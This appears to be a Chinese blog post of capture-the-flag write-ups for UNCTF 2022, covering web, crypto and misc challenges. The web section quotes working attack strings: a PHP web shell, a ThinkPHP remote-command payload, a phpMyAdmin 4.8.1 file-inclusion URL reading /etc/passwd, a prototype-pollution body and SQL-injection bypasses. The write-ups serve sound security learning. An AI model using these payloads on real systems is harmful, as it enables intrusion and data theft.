WEB
我太喜欢bilibili大学啦
- 进入页面直接搜 flag 就能得到
UNCTF{a29ffa65-a6ce-4631-9da0-e8e537f3bf27}
ezgame
- 谷歌浏览器打开页面,进入源代码,搜索 999,改为 1,直接攻击一次就出 flag
- flag
UNCTF{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}
签到
- 审查元素,发现 20200101, 尝试后续学号,20200102 回显 f,写脚本爆破
1 | from requests import post |
- flag
UNCTF{bfff6d206cbcd6ac0870a4f48c7c313b}
babyphp
- 访问 index.php
1 | post: a=0%00&key1=aaroZmOk&key2=aaK1STfY |
- 搜索flag
UNCTF{99hanDis_pHP_Ba_True_flag}
ez_upload
- 发现对文件格式有过滤,利用后缀名漏洞 上传 test.png.php
1 | eval($_POST['cmd']); |
蚁剑连接,源代码
1 |
|
- 在 home/ctf/flag
UNCTF{2e2bfec4-55ee-40e2-bf39-99db32b3f8c7}
我太喜欢bilibili大学啦修复版
- 访问,搜索hint,得到hint1,base64解码得 admin_unctf.php
- 访问,打开网络,查看响应头,发现hint2,base64解码得密码unctf2022/unctf2022
- 访问,传递cookie:cmd=cat /f*,base64 解码,https://space.bilibili.com/673907356
- 访问,得 flag
UNCTF{this_is_so_easy}
给你一刀
- 访问,经典RCE漏洞,直接上现成的payload
1 | ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env |
- flag
UNCTF{Y0u_A3r_so_G9eaD_hacker}
easy ssti
- 又是一道经典题,直接上,似乎非预期?主办方设置了过滤,但是没用上
- flag
UNCTF{a1c71fdb-5b84-47b4-b77b-416f4cf7b113}
302与深大
- 很简单的 post get 之类的,抓包之后扔掉重定向的包,按着题目要求做就行了
- flag
UNCTF{thai_miku_micgo_qka_WEB_GOD}
ezunseri
- 简单的反序列化,直接上代码了
1 |
|
- flag
UNCTF{ee308c59-a290-4528-aa02-bbc4af5597ae}
xxe
- 在网上找到可用payload,根目录找到flag
1 |
|
2. flag
UNCTF{th8s_1s_Fla9}
nodejs
- 格式化代码
1 | app.post('/', function(req, res) { |
- 此处没有发现copy方法的定义,推断应该为实现正常合并对象的功能, 获取flag的条件是admin对象的id属性为’unctf’,则通过js特性污染user的父类Object
1 | {"__proto__":{"id":"unctf"}} |
- 修改MIME请求头为content-type: json得到flag
- flag
UNCTF{22ca8686bfa31a2ae5f55a7f60009e14}
poppop
- 似乎比上一个还简单
1 |
|
- flag
UNCTF{798bf94e-5f18-4392-acfb-ad72e66756a7}
easy_rce
- 根据读取文件得每一个字符进行爆破,爆破单个字符正确是sleep 1,写脚本
(和之前的 ISCTF 很像)
1 | import requests |
- flag
UNCTF{e84fed028b9046fc0e8f080e96e72184}
快乐三消
- 扫描目录,得到后台地址,/admin/login.php /admin/login.php.bak
- 备份文件中存在密码,(或者弱口令爆破
- 找到文件上传点,上传马
- 抓包,找到文件上传点,蚁剑链接
UNCTF{testflag}
数据库管理大师
- phpmyadmin 4.8.1 远程文件包含
- 期中 index.php 存在文件包含逻辑,二次编码可绕过
1 | index.php?target=db_sql.php%253f/../../../../../../etc/passwd |
世界和平
- 查表
1 | 1; show tables; |
- 双写绕过
1 | 1;seSelectlect *frFromom FFlaglag; |
ez2048
- 分析题目,填写邀请码正确才能开始游戏,合成2048方格可以得到flag。
于是查看js源码。
邀请码check片段。
合成2048方块成功与否check及flag输出片段。
1 | checkInvited() { |
- 分析得,首先进行js逆向,获得邀请码,游戏通过wasm导出函数_check_success判定游戏获胜与否,并 通过邀请码输出flag
1 | class GameManager{ |
- ArrayBuffer 内部存储着加密后的邀请码
view.setUint16(4, xxx, true); // 此处表示数据小端存储
加密后:
1 | const code = [ |
- 加密流程 ⇩
1 | 可以看到,偶数项加密无法找到突破口。 |
sqlsql
- exp
1 | import requests |
CRYPTO
md5 1
- exp
1 | from hashlib import md5 |
- flag
UNCTF{e84fed028b9046fc0e8f080e96e72184}
dddd
- 解压一个txt,很像Morse,替换一下
1 | 110/01/0101/0/1101/0000100/0100/11110/111/110010/0/1111/10000/111/110010/1000/110/111/0/110010/00/00000/101/111/1/0000010 |
2. flag
UNCTF{Y4S_TH1S_JUST_M0RSE}
caesar
- 换表凯撒,直接写脚本
1 | message = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}' |
- flag
UNCTF{w0w_Th1s_d1fFerent_c4eSar}
md5 2
- 简单异或,后一位与前一位MD5值异或,用第一位推后面, 但我用爆破的方式正面解
1 | from hashlib import md5 |
2. flag
UNCTF{a197271943ceb3c3fe98bcadf10c29d4}
今晚吃什么
- 下载发现 txt 内容只有 10000 和 00000 两种,根据题目联想到食物,培根替换之后解码
1 | A A A B A B A A A A B A B B A A B B B A B A A A A A B B A B A B A A A B A A A B A A B A B B A A B B A B B A A |
C R Y P R O I S F U N
- flag
UNCTF{CRYPROISFUN}
sing table
- 下载后根据给出的例子构造一个矩阵,将 play 四个字母放在最后
1 | [ |
OT UB M B CQ SP HW OQ AU AY FM KL WS
- 仔细观察例子发现都是对角线上的字母,反解出flag
UNCTF{GOD_YOU_KNOW_PLAYFAIRX}
ezRSA
- 一道基础RSA
1 | from Crypto.Util.number import * |
- flag
unctf{pneum0n0ultram01cr0sc0p01cs01l01c0v0lcan0c0n010s01s}
baby RSA
- 分析:M=((m>>60)<<60),将m后60位全化成0,m的范围(M,M+260)
pow(m,e,n)=c -> me=c+k*n
用m的范围,整除n来限制k的范围,从而求m
1 | import gmpy2 |
- flag
UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}
easy RSA
- exp
1 | #已知p的高312位,在sage中运行,高位爆破p |
1 | #解出p,q后,经典rsa |
- flag
flag{It is a very_intersting_test!!!}
Multi table
- 审查一下代码,唯一不确定的就是一组 KEY,但是可以根据输出结果先爆破出 key
1 | from string import ascii_uppercase |
[9, 15, 23, 16]
1 | from string import ascii_uppercase |
- flag
UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}
ezxor
- 不会,上网搜,多次一密,发现一篇博客
- 写的真好,代码粘过来试试 (cv工程师在此
1 | import Crypto.Util.strxor as xo |
结果
1 | In the flood of dar'ness hdop |
大致搜索一下,在微博上找到原文
https://weibo.com/2108685754/K0mBvpzm6?sudaref=www.baidu.com
1 | In the flood of darkness, hope is the light. It brings comfort, faith, and confidence. It gives us guidance when we are lost, and gives support when we are afraid. And the moment we give up hope, we give up our lives. The world we live in is disintegrating into a place of malice and hatred,where we need hope and find it harder. In thisworld of fear, hope to find better, but easier saidthan done, the more meaningful life of faith will make life meaningful. |
调整几个位置的值,加上下面的代码
1 | def know(index, pos, ch): |
输出结果
1 | In the flood of darkness, hop |
选取第一行与密文第一行进行异或得到flag
1 | a = ''' |
- flag
UNCTF{Y0u_are_very_Clever!!!}
easy_lfsr
- 给出了lfsr随机数生成先后512个状态,可以利用矩阵进行快速运算
- exp
1 | #sage |
Fermat
- 理论
1 | 费马小定理(Fermat's little theorem)是数论中的一个重要定理,在1636年提出。如果p是一个质数,而整数a不是p的倍数,则有a^(p-1)≡1(mod p)。 |
- exp
1 | import libnum |
- flag
UNCTF{DO_y0u_Fermat_1ittle_theOrem}
超级加倍
- 根据题目超级加倍想到密文长度翻了四倍,因为是数字所以可猜想为四次方,对其进行开方即可,可使用网站https://sagecell.sagemath.org/
- exp
1 | c =364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761 |
- flag
UNCTF{it_is_much_bigger_than_before}
Today_is_Thursday_V_me_50
- 逻辑
1 | 加密函数结构还是很清晰的 |
- exp
1 | import random |
Ezcry
- RC4 密码
1 | from Crypto.Cipher import ARC4 |
MISC
magic word
- 解压,复制文本,0宽解码
UNCTF{We1come_new_ctfer}
syslog
- 下载压缩包,发现有密码,注释:好好看看压缩包, 虚拟机 binwalk -e syslog.zip 尝试分离,成功,是伪加密, 打开 sys.log搜索 flag没有,搜索 password 发现 base64加密的字符
- 解码cGFzc3dvcmQgaXMgVTZudTJfaTNfYjNTdA==: password is U6nu2_i3_b3St
unctf{N1_sH3_D0n9_L0g_dE!}
巨鱼
- 下载文件,binwalk 分析一下,有一个压缩包
- 有密码,再看看原图,修改图片高度,发现密码:无所谓我会出手
- 解压得到一个txt和压缩包,没发现什么东西,压缩包放入虚拟机binwalk,又是伪加密
- 得到png和pptx
- png中是 H6C6Cl6 尝试 别名 666 ,成功进入ppt
- 取消密码后,解压缩,直接能看到flag
- flag
UNCTF{y0u_F1nd_1t!}
In_the_Morse_Garden
- 打开 pdf Ctrl+A 全选,果然有文字
1 | UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm |
- base64解码
1 | 依古比古玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡依古比古依古比古依古比古 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡依古比古玛卡巴卡玛卡巴卡 |
- 根据题目联想 Morse 加密,替换 依古比古 玛卡巴卡 为 . -解码
1 | .-- .- -. ..--.- .- -. ..--.- -- .- -.- .- ..--.- -... .- -.- .- .- .- .- .- -.-.-- |
- flag
UNCTF{WAN_AN_MAKA_BAKAAAAA!}
清和fan
- 下载,根据压缩包找到视频得到密码
(确实好看啊!
836885_2022/05/20
- 解压得到png,尝试 LSB得到密码
qq857488580
- 解压得到一个压缩包,一个wav,听一下,像是无线电,MMSTV解一下
V@mpir3
- 解压得到一个 txt,有零宽
unctf{wha1e_wants_a_girlfriend_like_alicia}
芝麻开门
- 下载得到一个 png txt里面有密码,但是在很后面,base64 解码得到 :key1
- 尝试 lsb 加密隐写
- flag
flag{faf5bdd5-ba3d-11da-ad31-d33d75182f1b}
社什么社
- 找到地点(旅游景点),flag是地点转md5,大写
下载附件调整文本大小,发现为字符画
没有思路决定从出题人方向下手。
然后在必应上找到相似景点, 发现为凤凰古城, md5(凤凰古城)计算得到flag - flag
UNCTF{4F0198127A45F66C07A5B1A2DDA8223C}
MY PICTURE
- 打开附件分析十六进制发现为zip文件
- 解压得到dat和flag.png
- flag.png为乱码图片
- 分析dat文件的十六进制发现被加密
- 根据文件尾出现的0x8E推断为异或了0x8E
- 使用010editer内置工具进行二进制异或得到zip文件
- 打开得到flag.png的加密脚本
1 | from PIL import Image as im |
- 写逆向脚本
1 | from PIL import Image as im |
得到正常图片
9. flag
UNCTF{93bb442f-2a76-2b6f-c42f-c2297f5fdaf9}
找得到我吗
- 下载,直接解压,刚好看到flag
UNCTF{You_find_me!}
zhiyin
- 解压得到 zip png jpg
- 在 png 末尾发现 Morse 加密,解码得到 _unc7f!!!
- 观察 jpg 16进制编码,是倒序排列,写个脚本转正一下
1 | with open('lanqiu.jpg', 'rb') as rb: |
得到密码
Go_p1ay_unc7f!!!
(这种字太阴间了,强烈建议正常打字
4. flag
flag{M1sic_1s_greAt}
拨茧抽丝
- 复制压缩包注释为解压密码解开
- 查看1.txt文本发现存在零宽字符
使用在线网站解密(由于编码问题不直接转换而是使用二进制解密)
- 得到密码PAsS_w0rD但无法解开下一层压缩包
- 观察发现1.txt中的正常文本正好对应压缩包内的2.txt
- 手敲一遍正常文本发现crc校验值相同
- 明文攻击得到三段key[ 7ae68c2a 9f92100b a5d9e0c0 ]
- 最后通过零宽得到的密码解开最后一层
- flag
UNCTF{d4a3a242-cd32-4dd5-bac6-84bdf13f527f}
我小心海也绝非鳝类
- 下载得图片,图中文字
1 | F#S<YIcHnAG |
- 用工具 fuzz 一下
- 得到 flaginmd5,在图片16进制末尾发现 base64编码,解码得 EASYLSB, 那么 flaginmd5应该就是lsb 的密码, 解lsb
1 | 8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF |
- 发现长度为 32 * 21,猜测为md5 加密单个字符,写脚本爆破
1 | b = ['8FA14CDD754F91CC6554C9E71929CCE7', '2DB95E8E1A9267B7A1188556B2013B33', '0CC175B9C0F1B6A831C399E269772661', 'B2F5FF47436671B6E533D8DC3614845D', 'F95B70FDC3088560732A5AC135644506', 'F1290186A5D0B1CEAB27F4E77C0C5D68', 'E1671797C52E15F763380B45E841EC32', '2DB95E8E1A9267B7A1188556B2013B33', '4A8A08F09D37B73795649038408B5F33', 'D95679752134A2D9EB61DBD7B91C4BCC', '6F8F57715090DA2632453988D9A1501B', 'E1671797C52E15F763380B45E841EC32', 'B14A7B8059D9C055954C92674CE60032', 'E358EFA489F58062F10DD7316B65649E', 'D95679752134A2D9EB61DBD7B91C4BCC', 'B14A7B8059D9C055954C92674CE60032', '6F8F57715090DA2632453988D9A1501B', '865C0C0B4AB0E063E5CAA3387C1A8741', '03C7C0ACE395D80182DB07AE2C30F034', '4A8A08F09D37B73795649038408B5F33', 'CBB184DD8E05C9709E5DCAEDAA0495CF'] |
- flag
flag{welcome_to_misc}
base 家族
- 题解,明文攻击,bandzip 压缩
- 得到 flag,base64 隐写
1 | from string import ascii_uppercase, ascii_lowercase, digits |
- 得到鼠标宏 Macro.mrd,利用 macro decoder,得到 flag
数独大挑战
- 解数独
- 爆破压缩包:547312
- 根据 hint 提示
- 向上^!,将解完的数独每行作为一个数字逐行异或得到
649187915
- 用该数字作为des密钥解key
- flag
UNCTF{shuduzhenhaowan}
峰回路转
- crc32 爆破得密码
P@SsW0RD
- 得到图片,用相同密码,slienteye 解码
- 伪加密,得到 Flag,爆破 xor
- flag
UNCTF{0C75726F-4609-DFA4-615F-17C7A1B7165D}
catchjerry
1 | normalKeys = {"00":'',"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"} |
1 | nums = [] |
nanoNumber
- 猜测的策略如下: 前三次分别猜测 123 456 789,此时根据灯的情况,1000 个数会被分为 243 类,其中最大的一类也就 5 个数,只需要再猜 1 次即可唯一确定答案,最后在用第 5 次猜测猜中答案即可
- poc
1 | def guess(ans, req): |
如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !